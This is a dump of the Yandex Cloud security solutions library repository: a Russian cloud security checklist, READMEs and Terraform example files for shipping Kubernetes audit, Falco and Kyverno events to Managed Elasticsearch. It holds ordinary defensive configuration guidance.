- ☑️ **Безопасное использование Terraform**: используйте terraform remote state на базе Yandex Cloud Object Storage с функцией блокировки в Yandex Database [Ссылка на решение](https://github.com/yandex-cloud/examples/tree/master/terraform-ydb-state). Где необходимо: используйте параметр [“sensitive = true”](https://www.terraform.io/docs/language/values/outputs.html#sensitive-suppressing-values-in-cli-output). Старайтесь не передавать приватные данные в конфиг, но если требуется то используйте Secret Manager либо env vars. [Подробнее](https://blog.gruntwork.io/a-comprehensive-guide-to-managing-secrets-in-your-terraform-code-1d586955ace1#:~:text=this%20blog%20post%3A-,Do%20not%20store%20secrets%20in%20plain%20text.,secrets%20into%20your%20Terraform%20code.)
- ☑️ **Используйте контроль целостности на гостевых ОС**: возможно имплементировать с помощью беcплатных host-based решений: Wazuh, Osquery либо с помощью платных решений в marketplace (Kaspersky security).
- ☑️ **Безопасная конфигурация Object Storage**: шифрование (описано выше) + [Bucket Policy](https://cloud.yandex.ru/docs/storage/concepts/policy)/ACL + [версионирование(защита от удаления)](https://cloud.yandex.ru/docs/storage/concepts/versioning) + [включить встроенный аудит доступа](https://cloud.yandex.ru/docs/storage/operations/buckets/enable-logging) + настройки CORS (при необходимости). 🔐[Пример безопасной конфигурации Yandex Cloud Object Storage: Terraform](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/configuration/hardering_bucket)
- ☑️ **Безопасная конфигурация Cloud Functionse**: предоставлять токен сервисного аккаунта через [нативный механизм](https://nmotina-feature-overview-access.farm2.cloud.yandex.ru/docs/compute/operations/vm-connect/auth-inside-vm) с помощью назначенного сервисного аккаунта и метадаты. Старайтесь использовать [приватные функции](https://cloud.yandex.ru/docs/functions/operations/function-public)
- ☑️ **Безопасная конфигурация Yandex Container Registry**: не рекомендуется использовать привилегированные контейнеры для запуска нагрузок. Используйте встроенный в сервис сканер уязвиомстей в образах (tbd ссылка на инстуркцию)
- ☑️ **Используйте Yandex Certificate Manager**: [Yandex Certificate Manager](https://cloud.yandex.ru/docs/certificate-manager/) сервис для хранения, получения и обновления TLS-сертификатов от Let's Encrypt®, а также для загрузки собственных сертификатов. Интегрирован с: Yandex Object Storage, Yandex API Gateway, Application LoadBalancer
- 🔵 **Защита от вредоносного кода**:
- ☑️ **Защитите от вредоносного кода уровень ОС**: антивирусные решения [представлены в marketplace](https://cloud.yandex.ru/marketplace?categories=security), которые возможно устанавливать на ВМ в рамках сервиса Compute Cloud. 🔐[Развертывание Kaspersky Antivirus в Yandex.Cloud (Compute Instance, COI)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/malware-defense/kaspersy-install-in-yc)
- ☑️ **Защитите от вредоносного кода уровень Сети**: NGFW/IDS/IPS (некоторые со встроенными Sandbox) [представлены в marketplace](https://cloud.yandex.ru/marketplace?categories=security)
- ☑️ **Защитите от вредоносного кода уровень Образов контейнеров**: Используйте встроенный в сервис Yandex Container registry сканер уязвиомстей в образах (tbd ссылка на инстуркцию)
- 🔵 **Управление уязвимостями**:
- ☑️ **Автоматизированное сканирование уязвимостей**: Примеры бесплатных сетевых сканеров: nmap, OpenVas, OWASP ZAP либо в виде агента на хостах: Wazuh, Tripwire
- ☑️ **Проводите внешние сканирования безопасности**: [Правила проведения Внешних сканирований безопасности](https://cloud.yandex.ru/docs/overview/compliance/pentest)
- ☑️ **Самостоятельно выполняйте обновления ПО, ОС**: Используйте автоматизированные инструменты обновлений.
- ☑️ **Используйте WAF**: [WAF из marketplace](https://cloud.yandex.ru/marketplace?categories=security), 🔐[Пример: Cluster PT Application Firewall на базе Yandex.Cloud](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/vuln-mgmt/unmng-waf-ptaf-cluster). Managed WAF - для получения доступа обратитесь к своему менеджеру, [Установка уязвимого веб приложения (dvwa) в Яндекс Облаке (с помощью terraform) для тестирования managed WAF](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/vuln-mgmt/vulnerable-web-app-waf-test)
- 🔵 **Сбор, мониторинг и анализ Аудит логов**:
- ☑️ **Включите Audit trails**: [Yandex Audit Trails](https://cloud.yandex.ru/docs/audit-trails/quickstart) для всех облаков/каталогов
- ☑️ **Собирайте события с уровня гостевых ОС и приложений**: например с помощью [Yandex Managed Service for Elasticsearch](https://cloud.yandex.ru/docs/managed-elasticsearch/), или с помощью бесплатных решений: osquery, wazzuh и др.
- ☑️ **При необходимости собирайте Flow logs**: например с помощью NGFW из marketplace либо бесплатного ПО (в планах встроенные возможности)
- ☑️ **Настройке экспорт событий Audit Trails в SIEM**: 🔐[Экспорт в Yandex Managed Service for Elasticsearch (ELK)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-ELK_main), 🔐[Экспорт в ArcSight](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-ArcSight), 🔐[Экспорт в Splunk](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-Splunk), в любой другой SIEM с [помощью s3fs](https://cloud.yandex.ru/docs/storage/tools/s3fs)
- ☑️ **Используйте заготовленные Облаком Use cases**: [Use cases и важные события безопасности в аудит логах](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/_use_cases_and_searches)
- ☑️ **(Альтернатива) Реагирование на Audit Trails с Cloud Functions**: Оповещения и реагирование на события ИБ Audit trails с помощью Cloud Logging/Cloud Functions + Telegram (tbd ссылка на решение)
- ☑️ **Регулярный аудит state**: используйте [yc client](https://cloud.yandex.ru/docs/cli/) для запросов к текущему состоянию облачной инфраструктуры, либо партнерское решение [Cloud Advisor](https://cloud.yandex.ru/blog/posts/2021/03/cloud-advisor-review)
- 🔵 **Физическая безопасность**:
- ☑️ **Ознакомится с мерами физической безопасности**: [Ссылка на подробное описание мер физической безопасности облака](https://cloud.yandex.ru/docs/overview/security/standarts#physic-sec)
- 🔵 **Резервное копирование**:
- ☑️ **Выполнять регулярные резервные копии**: [Создание снимков дисков по расписанию с Yandex Cloud Functions](https://cloud.yandex.ru/blog/posts/2020/01/snapshot-triggers)
- 🔵 **Управление бюджетами**:
- ☑️ **Настройте уведомления для контроля расходов в билинге**: [Установка уведомлений на пороги бюджета](https://cloud.yandex.ru/docs/billing/operations/budgets)
- 🔵 **Реагирование на инциденты**:
- ☑️ **Выстроить процедуру реагирования на инциденты**: в Yandex Cloud возможно оформлять [запрос на дополнительные логи](https://cloud.yandex.ru/docs/support/request)
- 🔵 **Безопасность Managed Service for Kubernetes**:
- **Шифрование данных и управление ключами/секретами Managed Kubernetes**:
- ☑️ **Включиите server-side шифрование в k8s**: включение шифрования secrets в etcd [ссылка на инстуркцию](https://cloud.yandex.ru/docs/managed-kubernetes/operations/encrypting-secrets). Делайте это всегда вне зависимости будете ли вы использовать решения ниже по управления секретами или нет
- ☑️ **Управление секретами**: используйте SecretManager для работы с секретами: [Yandex Lockbox](https://cloud.yandex.ru/docs/lockbox/) либо [HashiCorp Vault c поддержкой KMS](https://cloud.yandex.ru/marketplace/products/f2eokige6vtlf94uvgs2) (из marketplace) или контейнер cr.yandex/yc/vault. [Управление секретами c SecretManager(Lockbox,Vault)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/kubernetes-security/encrypt_and_keys/secret-management).
- **Сетевая безопасность**:
- ☑️ **Настройте группы безопасности для k8s**: [подробная инструкция](https://cloud.yandex.ru/docs/managed-kubernetes/operations/security-groups). Не рекомендуется давать публичный доступ и публичные адреса компонентам k8s
- ☑️ **Используйте Ingress контроллер**: для доступа извне к сервисам k8s используйте Ingress контроллер (https) с типом LoadBalancer (внешний либо внутренний) Рекомендуется использовать [Application Load Balancer ingress conroller](https://cloud.yandex.ru/docs/managed-kubernetes/solutions/alb-ingress-controller). А также возможно использовать и другие ingress controllers например [Инструкция по настройке nginx ingress conroller ](https://cloud.yandex.ru/docs/managed-kubernetes/solutions/ingress-cert-manager)
- **Защищайте сервисы и Ingress Conroller Kubernetes от DDoS**, создав IP адрес с защитой от DDoS и назначив его сервису либо application ingress conroller.
- ☑️ **Сетевые политики (Network Policy)**: ограничьте доступ на уровне k8s с помощью [network policy calico](https://cloud.yandex.ru/docs/managed-kubernetes/operations/calico) либо продвинутых [network policy cilium](https://cloud.yandex.ru/docs/managed-kubernetes/operations/cilium)
- **Если необходимо обеспечить к приложению доступ только из ограниченного пула адресов** - то в случае Application Load Balancer Ingress controller используйте группы безопасности, назначенную на него. В случае других ingress conrollers используйте Network Policy
- **Аутентификация и управление доступом**:
- ☑️ **Правильно построить ролевую модель в k8s**: [Детальное описание ролевого доступа в k8s](https://cloud.yandex.ru/docs/managed-kubernetes/security/#sa-annotation). 🔐[Пример настройки ролевых моделей и политик в Managed Service for Kubernetes](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/kubernetes-security/auth_and_access/role-model-example). Контролируйте права доступа сервисного аккаунта группы узлов (как правило достаточно: container-registry.images.puller)
- **Безопасная конфигурация**:
- ☑️ **Конфигурация группы узлов в соответствии с baseline и стандартами**: настройке группы узлов в соответствии со стандартами и baseline: NIST, CIS, др. Возможно использовать автоматизированные инструменты: kubebench, kubescape
- ☑️ **Используйте runtime security и Policy Engine**: пример runtime security: Falco, примеры Policy Engine: OPA Gatekeeper, Kyverno. 🔐[Пример установки Falco+Policy Engine с отправкой alerts в managed ELK](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-ELK_k8s)
- ☑️ **Обновления безопасности**: выберите подходящий [канал обновления](https://cloud.yandex.ru/docs/managed-kubernetes/concepts/release-channels-and-updates) и настройте автоматическое применение обновлений либо применяйте их вручную сразу после публикации в выбранном канале. Также выполняйте своевременное обновление собственного ПО на группах узлов
- ☑️ **Распределяйте поды на разные группы узлов**: с помощью node taints and tolerations + node affinity (по нагрузке и степени приватности)
- **Cбор, мониторинг и анализ Аудит логов**:
- ☑️ **Собирайте, анализируйте аудит логи k8s и инструментов защиты**: 🔐[Анализ логов безопасности k8s в Managed ELK: аудит-логи, policy engine, falco](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-ELK_k8s)
- ☑️ **Собирайте, анализируйте аудит логи workloads и группы узлов**: например, с помощью открытых инструментов
- ☑️ **Мониторьте аномальную нагрузку**: с помощью [Yandex Cloud Monitoring](https://cloud.yandex.ru/docs/monitoring/)
- **Резервное копирование**:
- ☑️ **Выполняйте резервное копирование**: например в object storage [по гайду](https://cloud.yandex.ru/docs/managed-kubernetes/solutions/backup), необходимо следовать рекомендациям из раздела «Безопасная конфигурация Yandex Object Storage»
- CI/CD Security
- Secure CI/CD на базе Managed GitLab:
- [Вебинар+материалы:Обнаружение Log4shell и др. уязвимостей в CI/CD на базе Managed GitLab](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/secure_ci_cd/secure_ci_cd_with_webinar):
- [Обнаружение уязвимостей в CI/CD (Ultimate лицензия)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/secure_ci_cd/secure_ci_cd_with_webinar)
- [Обнаружение уязвимостей в CI/CD (Free лицензия)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/secure_ci_cd/secure_ci_cd_with_webinar)
- [Security in Gtilab instance check-list](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/secure_ci_cd/secure_ci_cd_with_webinar/gitlab_instance_sec_checklist/README_RU.md)
- [Выступление про комплаенс и devsecops](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/secure_ci_cd/devsecops-scale/README.md)
#
- Безопасность Terraform
- [Сканирование tf файлов с помощью checkov](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/terraform-sec/checkov-yc)
- [Хранение состояния Terraform в Yandex.Cloud Object Storage](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/terraform-sec/remote-backend)
#
# Обратная связь и пожелания
- Доработки, ошибки, contribute: Заводите, пожалуйста с помощью github issue/pr
- Вопросы, пожелания, консультации: Пишите нам в телеграм https://t.me/YandexCloudSecurity
#### Референсная архитектура
================================================
FILE: README.md
================================================
# Yandex Cloud Security Solutions Library
This repo contains Security Solutions from Yandex Cloud Team.
The repository is Archived.
🚚 Solutions from this repository has been moved to https://github.com/yandex-cloud-examples/yc-security-solutions-library
================================================
FILE: README_EN.md
================================================
# 🔐 Yandex.Cloud Security Solution Library
**Yandex.Cloud Security Solution Library** is a set of examples and recommendations collected in a public repository on GitHub. Its purpose is to help companies build a secure infrastructure in the cloud and meet the requirements of various regulators and standards. Yandex.Cloud team has selected the most common tasks that arise when building security in the cloud. They have tested and described relevant scenarios in detail.
#### Brief webinar
[](https://www.youtube.com/watch?v=WZOB9ow0WrA)
#### ☑️ Yandex.Cloud Security Checklist
Checklist for security in the Yandex.Cloud infrastructure
https://cloud.yandex.com/en/docs/overview/security/domains/checklist
# List of solutions
- 🕸 Network security
- [Example of setting up Security Groups (dev/stage/prod): Terraform](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/network-sec/segmentation)
- [Example of installing a VM instance with a firewall (NGFW): Check Point](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/network-sec/checkpoint-1VM)
- [Example of installing two VM instances with an NGFW Check Point: **Active-Active**](https://github.com/yandex-cloud/yc-solution-library-for-security/blob/master/network-sec/checkpoint-2VM_active-active/README.md)
- [Example of installing two NGFW Check Point VMs: **Active-Passive**](https://github.com/yandex-cloud/yc-solution-library-for-security/blob/master/network-sec/checkpoint-2VM_active-passive/README.md)
- [An example of creating a site-to-site VPN connection to Yandex.Cloud: Terraform](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/network-sec/vpn)
- 🔑 Authentication and access control
- [Развертывание и управление организацией и правами доступа через IaC terraform](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auth_and_access/org_iac_iam)
- [IAM module with usage examples](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auth_and_access/iam#identity-and-access-management-iam-terraform-module-for-yandexcloud)
- [LDAP user and group synchronization script](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auth_and_access/ad-sync)
- 🦠 Protection against malicious code
- [Deploying Kaspersky Antivirus in Yandex.Cloud (Compute Instance, COI)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/malware-defense/kaspersy-install-in-yc)
- 🐞 Vulnerability management
- [Fault-tolerant operation of PT Application Firewall based on Yandex.Cloud](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/vuln-mgmt/unmng-waf-ptaf-cluster)
- [Installing a vulnerable web application (DVWA) in Yandex.Cloud using Terraform for Managed WAF testing](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/vuln-mgmt/vulnerable-web-app-waf-test)
- [Testing AntiDDos system using Yandex Load Testing](https://github.com/yandex-cloud/yc-solution-library-for-security/blob/master/vuln-mgmt/anti-ddos-lt/README.md)
- 🔏 Data encryption and key and secret management
- [Encrypting secrets with KMS when transferring the keys to the COI VM container Yandex.Cloud: Terraform](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/encrypt_and_keys/terraform%2BKMS%2BCOI)
- [Encrypting a VM disk in the cloud using YC KMS](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/encrypt_and_keys/encrypt_disk_VM)
- [Yandex Cloud Lockbox password solution](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/encrypt_and_keys/terraform-lockbox-vm-credentials)
- 🔎 Collecting, monitoring, and analyzing audit logs
- [Collecting, monitoring and analyzing audit logs in Yandex Managed Opensearch](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-Opensearch/README_EN.md)
- [Collecting, monitoring and analyzing audit logs in Yandex Managed Service for Elasticsearch (ELK)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-ELK_main)
- [Collecting, monitoring, and analyzing audit logs in an external SIEM ArcSight](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-ArcSight)
- [Collecting, monitoring, and analyzing audit logs in an external Splunk](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-Splunk)
- [Collecting, monitoring, and analyzing audit logs in an external Wazuh](https://github.com/yandex-cloud/yc-solution-library-for-security/blob/master/auditlogs/export-auditlogs-to-wazuh/README.md)
- [Use cases and important security events in audit logs](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/_use_cases_and_searches)
- [Trails-function-detector: Alerts and response to Information Security events in Audit Trails using Cloud Logging and Cloud Functions + Telegram](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/trails-function-detector)
- [Monitoring Audit Trails and events in Yandex Cloud Monitoring](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/trail_monitoring)
- 👮 Secure configuration
- [Example of a secure configuration for Yandex Cloud Object Storage: Terraform](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/configuration/hardening_bucket)
##
# Version
**Version-1.0**
- Changelog:
- First version
- Docker images:
- `cr.yandex/sol/cilium-s3:1`
- Helm chart:
- `cr.yandex/sol/cilium-s3-chart:0.1.0`
## Solution Description
Connects via gRPC to hubble-relay and sends netflow events to Object Storage
Then you can pick up these events from Object Storage to any SIEM using [GeeseFS](https://cloud.yandex.ru/docs/storage/tools/geesefs) or other aws compatible plugins
Or using prepared Object Storage integrations in the following SIEMs:
- [Object storage to Splunk](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-Splunk)
- Cilium flow logs to Elasticsearch Скоро!!!
## Installing with helm
#### Prerequisites
- :white_check_mark: Yandex Managed Service for Kubernetes® [with Cilium CNI enabled](https://cloud.yandex.ru/docs/managed-kubernetes/quickstart#kubernetes-cluster-create)
- :white_check_mark: [Object Storage Bucket](https://cloud.yandex.ru/docs/storage/quickstart)
- :white_check_mark: [Created static keys for service account](https://cloud.yandex.ru/docs/iam/operations/sa/create-access-key)
- :white_check_mark: [Installed Helm client](https://helm.sh/ru/docs/intro/install/)
#### Install helm-chart
Install helm hart by replacing the values with your own (specified in the prerequisites)
```Python
helm install cilium-s3-chart oci://cr.yandex/sol/cilium-s3-chart --version 0.1.0 --namespace cilium-s3 --create-namespace \
--set yandex.secretaccesskey=
# Version
**Version-2.0**
- Changelog:
- Changed the method of deployment. Deprecation of virtual machines as a worker engine to deployments in k8s. Thanks to "Hilbert Team" for contribution
- Docker images:
- `cr.yandex/sol/k8s-events-siem-worker:2.0.0`.
**Version-2.0**
- Changelog:
- Added support for automatic Kyverno installation with policies in the audit mode.
- Docker images:
- `cr.yandex/sol/k8s-events-siem-worker:1.1.0`.
# Table of contents
- [Description](#description)
- [Link to the solution "Collecting, monitoring, and analyzing audit logs in Yandex Managed Service for Elasticsearch (ELK)"](#link-to-solution-"Collecting-monitoring-and-analyzing-audit-logs-in-Yandex-Managed-Service-for-Elasticsearch-(ELK)")
- [Generic diagram](#generic-diagram)
- [Terraform description](#terraform-description)
- [Content update process](#content-update-process)
- [Optional manual actions](#optional-manual-actions)
## Description
Here are the out-of-the-box features of the solution:
☑️ Collect [K8s audit logs](https://kubernetes.io/docs/tasks/debug-application-cluster/audit/) in [Managed ELK SIEM](https://cloud.yandex.ru/docs/managed-elasticsearch/).
- ☑️ Install [Falco](https://falco.org/) and collect its [Alerts](https://falco.org/docs/alerts/) in [Managed ELK SIEM](https://cloud.yandex.ru/docs/managed-elasticsearch/).
- ☑️ Install [Kyverno](https://kyverno.io/) with the [Pod Security Standards (Restricted)](https://kyverno.io/policies/?policytypes=Pod%2520Security%2520Standards%2520%28Restricted%29) policies in the audit mode and collect its [Alerts (Policy Reports)](https://kyverno.io/docs/policy-reports/) using [Policy Reporter](https://github.com/kyverno/policy-reporter).
- ☑️ Import Security Content: dashboards, detection rules, and so on (see the Security Content section) in [Managed ELK SIEM](https://cloud.yandex.ru/docs/managed-elasticsearch/) to enable analysis and response to information security events.
- ☑️ This also includes importing Security Content for [OPA Gatekeeper](https://open-policy-agent.github.io/gatekeeper/website/docs/) (in the enforce mode). You can install OPA Gatekeeper manually if needed.
- ☑️ Create indexes in two replicas, set up the basic rollover policy (creating of new indexes every thirty days or when 50 GB are reached) to enable provisioning of high data availability and to set up data snapshots in S3, see [recommendations](../export-auditlogs-to-ELK_main/CONFIGURE-HA.md).
## Link to the solution "Collecting, monitoring, and analyzing audit logs in Yandex Managed Service for Elasticsearch (ELK)"
The solution ["Collecting, monitoring, and analyzing audit logs in Yandex Managed Service for Elasticsearch (ELK)"](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-ELK_main) contains information on how to install Yandex Managed Service for Elasticsearch (ELK) and collect logs from Audit Trails in it.
## Generic diagram
## Description of imported ELK (Security Content) object
See a detailed description of the objects [here](https://github.com/yandex-cloud/yc-solution-library-for-security/blob/master/auditlogs/export-auditlogs-to-ELK_main/papers/Описание%20объектов.pdf).
## Terraform description
The solution consist of terraform module:
- It accepts the following input:
- `folder_id`: The ID of the folder where the cluster is hosted.
- `cloud_id`: The ID of the cloud where the cluster is hosted.
- `cluster_name`: The name of the Kubernetes cluster.
- `elastic_server`: The FQDN address of the ELK installation
- `elastic_pw` and `elastic_user`: The ELK user credentials for event import
- `service_account_id`: The ID of the service account that can write to the bucket and has the *ymq.admin* role.
- `log_bucket_name`: The name of the bucket that will create module to save logs to.
- `auditlog_enabled`: *true* or *false* (enables/disables sending of K8s audit logs to ELK).
- `falco_enabled`: *true* or *false* (enables/disables sending of Falco alerts to ELK).
- `kyverno_enabled`: *true* or *false* — (enables/disables sending of Kyverno alerts to ELK).
- Functionality:
- Create a static key for the service account.
- Create a function and a trigger for writing cluster logs to S3.
- Install Falco and pre-configured falcosidekick that will send logs to S3.
- Install Kyverno and pre-configured [Policy Reporter](https://github.com/kyverno/policy-reporter) that will send logs to S3.
- Create YMQ queues with log file names in S3.
- Create functions to push file names from S3 to YMQ.
- Create triggers for interaction between queues and functions.
- Create deployments in k8s with worker containers that import events from S3 to ELK.
#### Prerequisites:
- :white_check_mark: Cluster Managed K8s.
- :white_check_mark: Managed ELK.
- :white_check_mark: A service account that can write to the bucket and has the *ymq.admin* role.
#### Example of calling modules:
See the example of calling modules in [/examples/README.md](https://github.com/yandex-cloud/yc-solution-library-for-security/blob/master/auditlogs/export-auditlogs-to-ELK_k8s/examples/README.md)
## Content update process
We recommend subscribing to this repository to receive update notifications.
For content updates, make sure that you are running the latest available image version:
`cr.yandex/sol/k8s-events-siem-worker:latest`
You can update the container as follows:
You can re-create the deployments in k8s via Terraform (change worker_docker_image env in tfvars and run `terraform apply`).
## Optional manual actions
#### Installing OPA Gatekeeper (Helm)
If you prefer OPA Gatekeeper to Kyverno, set the value `kyverno_enabled` to *false* when calling the module, then run the manual installation:
- Install OPA Gatekeeper [using Helm](https://open-policy-agent.github.io/gatekeeper/website/docs/install/#deploying-via-helm).
- Select and install the required constraint template and constraint from [gatekeeper-library](https://github.com/open-policy-agent/gatekeeper-library/tree/master/library/pod-security-policy).
- [Installation example](https://github.com/open-policy-agent/gatekeeper-library#usage).
## Recommendations for setting up retention, rollover, and snapshots:
[Recommendations for setting up retention, rollover, and snapshots](../export-auditlogs-to-ELK_main/CONFIGURE-HA.md)
================================================
FILE: auditlogs/export-auditlogs-to-ELK_k8s/examples/README.md
================================================
## Terraform test script
Prerequisites:
- ✅ Cluster of Managed K8s.
- ✅ Managed ELK.
- ✅ A service account that can write to the bucket and has the *ymq.admin* role.
##
1) If you doing this from Russia just create the file and fill it out like this to use yandex network mirror:
```
cat ~/.terraformrc
provider_installation {
network_mirror {
url = "https://terraform-network-mirror.storage.yandexcloud.net/"
}
}
```
2) Fill out the fields in the provider.tf file.
3) Fill out the fields in the terraform.tfvars.example file. (example below)
4) Delete <.example> from the end of the file - terraform.tfvars
5) Run:
```
terraform init
terraform apply
```
Example of terraform.tfvars.example file:
```
folder_id = "example"
cloud_id = "example"
cluster_name = "example-cluster"
elastic_server = "https://example-es.rw.mdb.yandexcloud.net"
elastic_pw = "str0ng_password"
elastic_user = "example_user"
service_account_id = "k8s-audit-logs-example"
log_bucket_name = "k8s-audit-logs-example" #name of cluster that will be create
worker_docker_image = "cr.yandex/sol/k8s-events-siem-worker:2.0.0"
create_namespace = true
auditlog_enabled = true
auditlogs_prefix = "AUDIT/"
auditlog_worker_chart_name = "auditlog-worker-example"
auditlog_worker_namespace = "infra-auditlog-example"
auditlog_worker_replicas_count = 1
falco_enabled = true
falco_prefix = "FALCO/"
falco_worker_chart_name = "falco-worker-example"
falco_worker_namespace = "infra-auditlog-example"
falco_worker_replicas_count = 3
falco_helm_namespace = "falco-example"
falco_version = "1.17.0"
falcosidekick_version = "0.4.4"
kyverno_enabled = true
kyverno_prefix = "KYVERNO/"
kyverno_worker_chart_name = "kyverno-worker-example"
kyverno_worker_namespace = "infra-auditlog-example"
kyverno_worker_replicas_count = 1
kyverno_helm_namespace = "kyverno-example"
kyverno_version = "2.1.10"
kyverno_policies_version = "2.1.10"
policy_reporter_version = "2.2.3"
fakeeventgenerator_enabled = false
```
================================================
FILE: auditlogs/export-auditlogs-to-ELK_k8s/examples/main.tf
================================================
module "security-events-to-siem-importer" {
source = "../modules"
folder_id = var.folder_id
cloud_id = var.cloud_id
cluster_name = var.cluster_name
elastic_server = var.elastic_server
elastic_pw = var.elastic_pw
elastic_user = var.elastic_user
service_account_id = var.service_account_id
log_bucket_name = var.log_bucket_name
create_namespace = var.create_namespace
worker_docker_image = var.worker_docker_image
auditlog_enabled = var.auditlog_enabled
auditlogs_prefix = var.auditlogs_prefix
auditlog_worker_chart_name = var.auditlog_worker_chart_name
auditlog_worker_namespace = var.auditlog_worker_namespace
auditlog_worker_replicas_count = var.auditlog_worker_replicas_count
falco_enabled = var.falco_enabled
falco_prefix = var.falco_prefix
falco_worker_chart_name = var.falco_worker_chart_name
falco_worker_namespace = var.falco_worker_namespace
falco_worker_replicas_count = var.falco_worker_replicas_count
falco_helm_namespace = var.falco_helm_namespace
falco_version = var.falco_version
falcosidekick_version = var.falcosidekick_version
kyverno_enabled = var.kyverno_enabled
kyverno_prefix = var.kyverno_prefix
kyverno_version = var.kyverno_version
kyverno_worker_chart_name = var.kyverno_worker_chart_name
kyverno_worker_namespace = var.kyverno_worker_namespace
kyverno_worker_replicas_count = var.kyverno_worker_replicas_count
kyverno_helm_namespace = var.kyverno_helm_namespace
kyverno_policies_version = var.kyverno_policies_version
policy_reporter_version = var.policy_reporter_version
fakeeventgenerator_enabled = var.fakeeventgenerator_enabled
}
================================================
FILE: auditlogs/export-auditlogs-to-ELK_k8s/examples/provider.tf
================================================
terraform {
required_version = ">= 0.14"
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = ">= 0.72.0"
}
kustomization = {
source = "kbst/kustomization"
version = ">= 0.5.0"
}
}
}
provider "yandex" {
folder_id = var.folder_id
#token = "example"
service_account_key_file = "./key.json"
}
================================================
FILE: auditlogs/export-auditlogs-to-ELK_k8s/examples/terraform.tfvars.example
================================================
folder_id = "example"
cloud_id = "example"
cluster_name = "example-cluster"
elastic_server = "https://example-es.rw.mdb.yandexcloud.net"
elastic_pw = "str0ng_password"
elastic_user = "example_user"
service_account_id = "k8s-audit-logs-example"
log_bucket_name = "k8s-audit-logs-example"
worker_docker_image = "cr.yandex/sol/k8s-events-siem-worker:2.0.0"
create_namespace = true
auditlog_enabled = true
auditlogs_prefix = "AUDIT/"
auditlog_worker_chart_name = "auditlog-worker-example"
auditlog_worker_namespace = "infra-auditlog-example"
auditlog_worker_replicas_count = 1
falco_enabled = true
falco_prefix = "FALCO/"
falco_worker_chart_name = "falco-worker-example"
falco_worker_namespace = "infra-auditlog-example"
falco_worker_replicas_count = 3
falco_helm_namespace = "falco-example"
falco_version = "1.17.0"
falcosidekick_version = "0.4.4"
kyverno_enabled = true
kyverno_prefix = "KYVERNO/"
kyverno_worker_chart_name = "kyverno-worker-example"
kyverno_worker_namespace = "infra-auditlog-example"
kyverno_worker_replicas_count = 1
kyverno_helm_namespace = "kyverno-example"
kyverno_version = "2.1.10"
kyverno_policies_version = "2.1.10"
policy_reporter_version = "2.2.3"
fakeeventgenerator_enabled = true
================================================
FILE: auditlogs/export-auditlogs-to-ELK_k8s/examples/variables.tf
================================================
# Variables for Import
# Initial variables
variable "folder_id" {
description = "The Yandex.Cloud folder id."
type = string
}
variable "cloud_id" {
description = "The Yandex.Cloud cloud id."
type = string
}
variable "region_name" {
description = "The Yandex.Cloud Cloud Region name."
type = string
default = "ru-central1"
}
variable "cluster_name" {
description = "The Yandex.Cloud K8s cluster name."
type = string
}
variable "service_account_id" {
type = string
description = "functions.invoker, storage.editor, ymq.editor"
}
# S3 Bucket Variables
variable "log_bucket_name" {
type = string
}
variable "s3_expiration" {
type = map(string)
default = {
"enabled" = true
"days" = 10
}
description = "Enable or disable delete indicies backup from bucket after days"
}
# Yandex Message Queue Variables
variable "timer_for_mq" {
description = "Timer for add permission for create mq"
type = string
default = "10s"
}
# Elastic Server
variable "elastic_pw" {
type = string
}
variable "elastic_user" {
type = string
}
variable "elastic_server" {
type = string
}
# Common Variables for Chart
variable "create_namespace" {
description = "Create the namespace if it does not yet exists."
type = bool
}
variable "value" {
description = "Values for the chart."
default = ""
}
variable "set" {
type = map(any)
default = {}
description = "Additional values set"
}
variable "set_sensitive" {
type = map(any)
default = {}
description = "Additional sensitive values set"
}
# Worker Settings
variable "worker_docker_image" {
type = string
}
# AUDIT LOG
variable "auditlog_enabled" {
type = bool
}
variable "auditlogs_prefix" {
type = string
}
variable "auditlog_worker_chart_name" {
description = "The name of the auditlog worker helm release"
type = string
}
